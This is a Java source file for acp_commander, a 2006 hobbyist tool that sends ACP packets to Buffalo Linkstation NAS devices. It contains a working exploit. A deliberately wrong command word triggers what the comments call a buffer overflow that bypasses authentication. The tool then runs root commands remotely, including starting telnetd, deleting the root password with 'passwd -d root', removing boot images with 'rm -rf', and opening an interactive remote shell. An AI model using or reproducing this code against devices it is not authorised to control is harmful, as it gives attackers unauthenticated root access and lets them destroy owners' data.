package acpcommander; /** *

Überschrift: acp_commander

* *

Beschreibung: Used to sent ACP-commands to Buffalo Linkstations (R). * Out of the work of linkstationwiki.net

* *

Copyright: Copyright (c) 2006

* *

Organisation: linkstationwiki.net

* * @author Georg * @version 0.2 */ import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.InetAddress; import java.net.DatagramSocket; import java.net.DatagramPacket; import java.util.Random; public class acp_commander { private static String _version = "0.2"; private static int _debug = 0; private static Integer _stdport = new Integer(22936); private static String _state; // public acp_commander() { // } private static String getParamValue (String name, String [] args){ // not looking at the last argument, as it would have no following parameter for (int i=0; i> 4]; char lowNibble = kHexChars[b & 0x0F]; hexString.append(highNibble); hexString.append(lowNibble); } private static final char kHexChars[]= { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; // // ACP-related stuff // // helper function. Creates an ACP header in the given buf. The ACP header consits of 32 bytes private static void setACPHeader(byte[] buf, String ACPCmd, String ConnID, String targetMAC, byte payloadsize) { buf[0] = 0x20; // length of header, 32 bytes buf[4] = 0x08; // minor packet version buf[6] = 0x01; // major packet version buf[8] = HexToByte(ACPCmd.substring(2, 4))[0]; // lowbyte buf[9] = HexToByte(ACPCmd.substring(0, 2))[0]; // highbyte buf[10] = payloadsize; byte[] test = HexToByte(ConnID); System.arraycopy(test, 0, buf, 16, 6); System.arraycopy(HexToByte(targetMAC), 0, buf, 22, 6); } // creates an ACPEnOneCmd packet private static byte[] getACPEnOneCmd(String ConnID, String targetMAC) { byte[] buf = new byte[72]; setACPHeader(buf, "80a0", ConnID, targetMAC, (byte) 0x28); buf[32] = 0x0d; System.arraycopy(HexToByte("14:bd:36:a7:a7:81:86:f1"), 0, buf, 40, 8); // the encrypted password as hexstring return (buf); } // creates an ACPAuth packet // BUG: the command word should be "80a0" instead of "8a10". This "bug" seems to cause // a buffer overflow in clientServer_util which disables the whole authentication // process and gives us full access to the ACP commands. private static byte[] getACPAuth(String ConnID, String targetMAC) { byte[] buf = new byte[72]; setACPHeader(buf, "8a10", ConnID, targetMAC, (byte) 0x28); // here is the bug buf[32] = 0x0c; System.arraycopy(HexToByte("05:80:24:8d:ab:9c:97:e0"), 0, buf, 40, 8); // the encrypted password as hexstring return (buf); } // creates an ACPCMD packet, used to send telnet commands to the LS private static byte[] getACPCmd(String ConnID, String targetMAC, String cmd) { if (cmd.length() > 210) { outError("Command line too long (>210 chars)."); } byte[] buf = new byte[cmd.length() + 44]; setACPHeader(buf, "8a10", ConnID, targetMAC, (byte) (cmd.length() + 12)); buf[32] = (byte) (cmd.length()); buf[36] = 0x03; // type System.arraycopy(cmd.getBytes(), 0, buf, 40, cmd.length()); return (buf); } // Analyses incoming ACP Replys private static void outACPrcv(byte[] buf) { // ACPCmd - Reply = 0xCA10 if ((buf[8] == 0x10) & (buf[9] == (byte) 0xca)) { if ((buf[0x2c] == (byte) 0xff) & (buf[0x2d] == (byte) 0xff) & (buf[0x2e] == (byte) 0xff) & (buf[0x2f] == (byte) 0xff)) { System.out.print("Failure: "); } String cmdAnswer = new String(); int i = 40; while ((buf[i] != 0x00) & (i < buf.length)) { cmdAnswer = cmdAnswer + (char) buf[i++]; } System.out.println(cmdAnswer); } else { String Answer = Integer.toHexString(buf[9] * 256 + buf[8]); Answer = Answer.substring(Answer.length() - 4, Answer.length()); System.out.println("Unknown ACP-Reply: 0x" + Answer); } } public static void main(String[] args) { String _mac = new String(""); String _cmd = new String(""); String _connID = new String(""); String _target = new String(""); Integer _port = _stdport; boolean _openbox = false; boolean _authent = true; boolean _shell = false; boolean _clearboot = false; _debug = 0; // // Parsing the command line parameters. // _state = "CmdLnParse"; // catch various standard options for help. Only -h and -v are official, though if ((args.length == 0) | (hasParam(new String[] {"-h", "--h", "-v", "--v" , "-?", "--?", "/h", "/?", "-help", "--help", "-version", "--version"}, args))) { usage(); return; } else { if (!hasParam("-q", args)) { outTitle (); } } if (hasParam("-d1", args)) { _debug = 1; } if (hasParam("-d2", args)) { _debug = 2; } if (hasParam("-t", args)) { outDebug("Target parameter -t found", 2); _target = getParamValue("-t", args, ""); } else { outError( "You didn't specify a target! Parameter '-t target' is missing"); return; } if (hasParam("-p", args)) { outDebug("Port parameter -p given", 2); _port = new Integer(getParamValue("-p", args, _port.toString())); } if (hasParam("-na", args)) { outDebug("Using parameter -na (no authentication)", 2); _authent = false; } if (hasParam("-m", args)) { outDebug("MAC-Address parameter -m given", 2); _mac = getParamValue("-m", args, _mac); } if (hasParam("-o", args)) { outDebug("Using parameter -o (openbox)", 1); _openbox = true; } if (hasParam("-c", args)) { outDebug("Command-line parameter -c given", 2); _cmd = getParamValue("-c", args, ""); } if (hasParam("-cb", args)) { outDebug("Command-line parameter -cb given", 2); _clearboot = true; } if (hasParam("-i", args)) { outDebug("ConnectionID parameter -i given", 2); _connID = getParamValue("-i", args, _connID); } if (hasParam("-s", args)) { _shell = true; } // // Catch some errors. // _state = "ErrCatch"; if ((_target.equals("")) | (_target == null)) { outError("No target specified or target is null!"); } if (hasParam("-c", args) & ((_cmd == null) | (_cmd.equals("")))) { outError("Command-line argument -c given, but command line is empty!"); } // add option -na for greater effect! ;) if ((!_openbox) & (_cmd.equals("")) & (!_shell) & (!_clearboot)) { outWarning("Nothing to do! None of the options -o, -c, -s or -cb are given."); // might send an authentification packet, though. } if ((!_authent) & (_connID == "")) { outWarning("Using a random connection ID without authentification!"); } if (_connID.equals("")) { // TODO // generate random connection ID Random generator = new Random(); byte[] temp_connID = new byte[6]; generator.nextBytes(temp_connID); _connID = bufferToHex(temp_connID, 0, 6); System.out.println("Using random connID value = " + _connID); } else { if (_connID.equalsIgnoreCase("mac")) { // TODO // get local MAC and set it as connection ID _connID = "00:50:56:c0:00:08"; outWarning("Using local MAC not implemented, yet!\n"+ "Using default connID value (" +_connID + ")"); } else { // TODO // check given connection id for length and content _connID.replaceAll(":", ""); if (_connID.length() != 12) { outError( "Given connection ID has invalid length (not 6 bytes long)"); } } } if (_mac.equals("")) { // set default MAC _mac = "FF:FF:FF:FF:FF:FF"; } else { if (_mac.equalsIgnoreCase("mac")) { // TODO // get targets MAC and set it _mac = "FF:FF:FF:FF:FF:FF"; outWarning("Using targets MAC is not implemented, yet!\n"+ "Using default value (" + _mac + ")"); } else { // TODO // check given MAC for length and content _mac = _mac.replaceAll(":", ""); if (_mac.length() != 12) { outError ("Given MAC has invalid length (not 6 bytes long)"); } else { System.out.println ("Using MAC: " +_mac); } } } if (!_cmd.equals("")) { // check for leading and trailing " if (_cmd.startsWith("\"")) { _cmd = _cmd.substring(1, _cmd.length()); // only check cmd-line end for " if it starts with one if (_cmd.endsWith("\"")) { _cmd = _cmd.substring(0, _cmd.length() - 1); } } outDebug ("Using cmd-line:\n>>"+ _cmd + "\n", 1); } try { // // variable definition // _state = "VarPrep"; InetAddress _targetIP = InetAddress.getByName(_target); byte [] buf; DatagramSocket _socket = new DatagramSocket(); DatagramPacket _packet = new DatagramPacket(new byte[0], 0, _targetIP, _port.intValue()); DatagramPacket _receive = new DatagramPacket (new byte[500], 500); _socket.setSoTimeout(5000); // set socket timeout to 5000 ms, some user report timeout problems // // Generate some output. // System.out.println("Using target:\t" + _targetIP.getHostName() + "/"+_targetIP.getHostAddress()); if (_port != _stdport) { // if System.out.println("Using port:\t" + _port.toString() + "\t (this is NOT the standard port)"); } else { outDebug("Using port:\t" + _port.toString(), 1); } outDebug("Using MAC-Address:\t" + _mac, 1); // // lets go // if (_authent) { _state = "ACP_AUTHENT"; /* buf = getACPEnOneCmd (_connID, _mac); _packet.setData (buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv (_receive.getData()); */ buf = getACPAuth(_connID, _mac); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); } if (_openbox) { _state = "ACP_OPENBOX"; buf = getACPCmd(_connID, _mac, "telnetd"); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); buf = getACPCmd(_connID, _mac, "passwd -d root"); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); } if ( _clearboot ) { _state = "clearboot"; buf = getACPCmd(_connID, _mac, "cd /boot; rm -rf hddrootfs.buffalo.updated hddrootfs.img hddrootfs.buffalo.org hddrootfs.buffalo.updated.done"); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); buf = getACPCmd(_connID, _mac, "df"); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); } if (!_cmd.equals("")) { _state = "ACP_CMD"; buf = getACPCmd(_connID, _mac, _cmd); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); } // create a telnet shell, leave with "exit" if (_shell) { _state="shell"; String cmdln = new String (""); BufferedReader keyboard = new BufferedReader( new InputStreamReader(System.in) ); System.out.print("Enter telnet commands to LS, enter 'exit' to leave\n"); // get first commandline System.out.print("/root>"); cmdln = keyboard.readLine(); System.out.print("\n"); while (( cmdln != null) && ( !cmdln.equals("exit") )) { // send command and display answer buf = getACPCmd(_connID, _mac, cmdln); _packet.setData(buf, 0, buf.length); _socket.send(_packet); _socket.receive(_receive); outACPrcv(_receive.getData()); // get next commandline System.out.print(">"); cmdln = keyboard.readLine(); System.out.print("\n"); } } } catch (java.net.UnknownHostException HostE) { //TODO error handling outError("Exception: UnknownHost (" + HostE.getMessage()+") [Section: "+_state+"]"); } catch (java.net.SocketException SocketE) { //TODO error handling outError("Exception: Socket (" + SocketE.getMessage()+") [Section: "+_state+"]"); } catch (java.io.IOException IOE) { //TODO error handling outError("Exception: IO (" + IOE.getMessage()+") [Section: "+_state+"]"); } } }